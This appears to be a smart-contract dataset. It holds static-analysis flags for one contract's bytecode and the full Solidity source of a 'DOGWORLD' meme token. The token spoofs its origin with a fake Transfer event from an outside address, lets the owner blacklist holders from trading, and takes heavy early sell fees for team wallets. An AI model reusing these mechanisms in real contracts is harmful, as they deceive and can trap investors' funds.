0205460ff16156110255760405162461bcd60e51b81526004016106d490611f1e565b6001600160a01b03831660009081526009602052604090205460ff161561105e5760405162461bcd60e51b81526004016106d490611f1e565b3360009081526009602052604090205460ff161561108e5760405162461bcd60e51b81526004016106d490611f1e565b6000546001600160a01b038481169116148015906110ba57506000546001600160a01b03838116911614155b156113c857601754600160a01b900460ff166111185760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016106d4565b6017546001600160a01b03838116911614801561114357506016546001600160a01b03848116911614155b156111f5576001600160a01b038216301480159061116a57506001600160a01b0383163014155b801561118457506015546001600160a01b03838116911614155b801561119e57506015546001600160a01b03848116911614155b156111f5576018548111156111f55760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016106d4565b6017546001600160a01b0383811691161480159061122157506015546001600160a01b03838116911614155b801561123657506001600160a01b0382163014155b801561124d57506001600160a01b03821661dead14155b156112c2576019548161125f846108e8565b6112699190611fb6565b106112c25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016106d4565b60006112cd306108e8565b601a5490915081118080156112ec5750601754600160a81b900460ff16155b801561130657506017546001600160a01b03868116911614155b801561131b5750601754600160b01b900460ff165b801561134057506001600160a01b03851660009081526006602052604090205460ff16155b801561136557506001600160a01b03841660009081526006602052604090205460ff16155b156113c557601154600090156113a057611395606461138f6011548661179f90919063ffffffff16565b9061181e565b90506113a081611860565b6113b26113ad828561200f565b611616565b4780156113c2576113c247611558565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061140a57506001600160a01b03831660009081526006602052604090205460ff165b8061143c57506017546001600160a01b0385811691161480159061143c57506017546001600160a01b03848116911614155b156114495750600061150c565b6017546001600160a01b03858116911614801561147457506016546001600160a01b03848116911614155b156114cf576001600160a01b03831660009081526004602052604090204290819055600b54600f55600c54601055600a5414156114cf576001600160a01b0383166000908152600960205260409020805460ff191660011790555b6017546001600160a01b0384811691161480156114fa57506016546001600160a01b03858116911614155b1561150c57600d54600f55600e546010555b6115188484848461186d565b50505050565b600081848411156115425760405162461bcd60e51b81526004016106d49190611e94565b50600061154f848661200f565b95945050505050565b6015546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610745573d6000803e3d6000fd5b60006007548211156115f95760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016106d4565b60006116036118a1565b905061160f838261181e565b9392505050565b6017805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061165e5761165e612057565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156116b257600080fd5b505afa1580156116c6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ea9190611ca8565b816001815181106116fd576116fd612057565b6001600160a01b0392831660209182029290920101526016546117239130911684610da0565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac9479061175c908590600090869030904290600401611f45565b600060405180830381600087803b15801561177657600080fd5b505af115801561178a573d6000803e3d6000fd5b50506017805460ff60a81b1916905550505050565b6000826117ae5750600061063b565b60006117ba8385611ff0565b9050826117c78583611fce565b1461160f5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016106d4565b600061160f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118c4565b6107b53061dead83610ec4565b8061187a5761187a6118f2565b611885848484611937565b8061151857611518601254600f55601354601055601454601155565b60008060006118ae611a2e565b90925090506118bd828261181e565b9250505090565b600081836118e55760405162461bcd60e51b81526004016106d49190611e94565b50600061154f8486611fce565b600f541580156119025750601054155b801561190e5750601154155b1561191557565b600f805460125560108054601355601180546014556000928390559082905555565b60008060008060008061194987611a70565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061197b9087611acd565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546119aa9086611b0f565b6001600160a01b0389166000908152600260205260409020556119cc81611b6e565b6119d68483611bb8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a1b91815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d63100000611a4a828261181e565b821015611a675750506007549268056bc75e2d6310000092509050565b90939092509050565b6000806000806000806000806000611a8d8a600f54601054611bdc565b9250925092506000611a9d6118a1565b90506000806000611ab08e878787611c2b565b919e509c509a509598509396509194505050505091939550919395565b600061160f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061151e565b600080611b1c8385611fb6565b90508381101561160f5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016106d4565b6000611b786118a1565b90506000611b86838361179f565b30600090815260026020526040902054909150611ba39082611b0f565b30600090815260026020526040902055505050565b600754611bc59083611acd565b600755600854611bd59082611b0f565b6008555050565b6000808080611bf0606461138f898961179f565b90506000611c03606461138f8a8961179f565b90506000611c1b82611c158b86611acd565b90611acd565b9992985090965090945050505050565b6000808080611c3a888661179f565b90506000611c48888761179f565b90506000611c56888861179f565b90506000611c6882611c158686611acd565b939b939a50919850919650505050505050565b8035611c8681612083565b919050565b600060208284031215611c9d57600080fd5b813561160f81612083565b600060208284031215611cba57600080fd5b815161160f81612083565b60008060408385031215611cd857600080fd5b8235611ce381612083565b91506020830135611cf381612083565b809150509250929050565b600080600060608486031215611d1357600080fd5b8335611d1e81612083565b92506020840135611d2e81612083565b929592945050506040919091013590565b60008060408385031215611d5257600080fd5b8235611d5d81612083565b946020939093013593505050565b60006020808385031215611d7e57600080fd5b823567ffffffffffffffff80821115611d9657600080fd5b818501915085601f830112611daa57600080fd5b813581811115611dbc57611dbc61206d565b8060051b604051601f19603f83011681018181108582111715611de157611de161206d565b604052828152858101935084860182860187018a1015611e0057600080fd5b600095505b83861015611e2a57611e1681611c7b565b855260019590950194938601938601611e05565b5098975050505050505050565b600060208284031215611e4957600080fd5b8135801515811461160f57600080fd5b600060208284031215611e6b57600080fd5b5035919050565b60008060408385031215611e8557600080fd5b50508035926020909101359150565b600060208083528351808285015260005b81811015611ec157858101830151858201604001528201611ea5565b81811115611ed3576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611f955784516001600160a01b031683529383019391830191600101611f70565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611fc957611fc9612041565b500190565b600082611feb57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561200a5761200a612041565b500290565b60008282101561202157612021612041565b500390565b600060001982141561203a5761203a612041565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107b557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c635ba694aedeb1bd60fc744ea12413bc9afa82796faf7228c679cf1c4661a6d64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 374 |
0xd9b86483b7f11a66ba820ebc5ba9c11feb0a9e94 | /**
██████ ██████ ██████ ██ ██ ██████ ██████ ██ ██████
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
██ ██ ██ ██ ██ ███ ██ █ ██ ██ ██ ██████ ██ ██ ██
██ ██ ██ ██ ██ ██ ██ ███ ██ ██ ██ ██ ██ ██ ██ ██
██████ ██████ ██████ ███ ███ ██████ ██ ██ ███████ ██████
*/
// There are so many dog coins. This will be last one and nothing would be better than this one.
// Name: DOGWORLD
// Symbol: DOGW
// Total Supply: 1T
// Liquidity: 100%
// Buy Max TX Limit: 1% of Total Supply for first 10 minutes
// Cooldown: 20 seconds for first 10 minutes
// No limit in Sell. You can sell any amount at anytime.
// Telegram: https://t.me/DOGWORLDTOKEN
// Twitter: https://twitter.com/dogworldtoken
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DOGWORLDTOKEN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "DogWorld";
string private constant _symbol = "DOGW";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 8;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _teamAddress;
address payable private _marketingAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _launchTime;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = false;
_taxFee = 2;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
if (block.timestamp < _launchTime + 10 minutes) {
require(amount <= _maxTxAmount);
if (cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
}
takeFee = true;
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 2;
if (block.timestamp > _launchTime + 20 minutes) {
_teamFee = 10;
} else {
_teamFee = 20;
}
takeFee = true;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
if (contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function addLiquidityETH() external onlyOwner() {
require(!tradingOpen, "Liquidity already added");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063d543dbeb146103a4578063dd62ed3e146103cd578063ed9953071461040a57610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e18565b60405180910390f35b34801561015057600080fd5b5061016b6004803603810190610166919061295e565b61045e565b6040516101789190612dfd565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f9a565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061290f565b61048d565b6040516101e09190612dfd565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612881565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061300f565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129db565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612881565b610783565b6040516102b19190612f9a565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d2f565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e18565b60405180910390f35b34801561033357600080fd5b5061034e6004803603810190610349919061295e565b61098d565b60405161035b9190612dfd565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061299a565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103cb60048036038101906103c69190612a2d565b610b75565b005b3480156103d957600080fd5b506103f460048036038101906103ef91906128d3565b610cbe565b6040516104019190612f9a565b60405180910390f35b34801561041657600080fd5b5061041f610d45565b005b60606040518060400160405280600881526020017f446f67576f726c64000000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a8565b84846112b0565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461147b565b61055b846104a66112a8565b610556856040518060600160405280602881526020016136aa60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b7c9092919063ffffffff16565b6112b0565b600190509392505050565b61056e6112a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f1a565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f1a565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a8565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611be0565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdb565b9050919050565b6107dc6112a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f1a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f444f475700000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a8565b848461147b565b6001905092915050565b6109b36112a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f1a565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906132b0565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a8565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d49565b50565b610b7d6112a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f1a565b60405180910390fd5b60008111610c4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4490612eba565b60405180910390fd5b610c7c6064610c6e83683635c9adc5dea0000061204390919063ffffffff16565b6120be90919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601254604051610cb39190612f9a565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d4d6112a8565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd190612f1a565b60405180910390fd5b601160149054906101000a900460ff1615610e2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2190612eda565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eba30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112b0565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0057600080fd5b505afa158015610f14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f3891906128aa565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610f9a57600080fd5b505afa158015610fae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd291906128aa565b6040518363ffffffff1660e01b8152600401610fef929190612d4a565b602060405180830381600087803b15801561100957600080fd5b505af115801561101d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104191906128aa565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110ca30610783565b6000806110d5610927565b426040518863ffffffff1660e01b81526004016110f796959493929190612d9c565b6060604051808303818588803b15801561111057600080fd5b505af1158015611124573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111499190612a56565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550678ac7230489e800006012819055506001601160146101000a81548160ff02191690831515021790555042601381905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611252929190612d73565b602060405180830381600087803b15801561126c57600080fd5b505af1158015611280573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a49190612a04565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611320576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131790612f7a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611390576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138790612e7a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146e9190612f9a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e290612f5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561155b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155290612e3a565b60405180910390fd5b6000811161159e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159590612f3a565b60405180910390fd5b60006002600a81905550600a600b819055506115b8610927565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561162657506115f6610927565b7